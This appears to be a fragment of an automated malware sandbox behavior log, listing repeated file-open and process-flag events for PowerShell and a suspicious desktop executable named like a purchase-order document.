Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
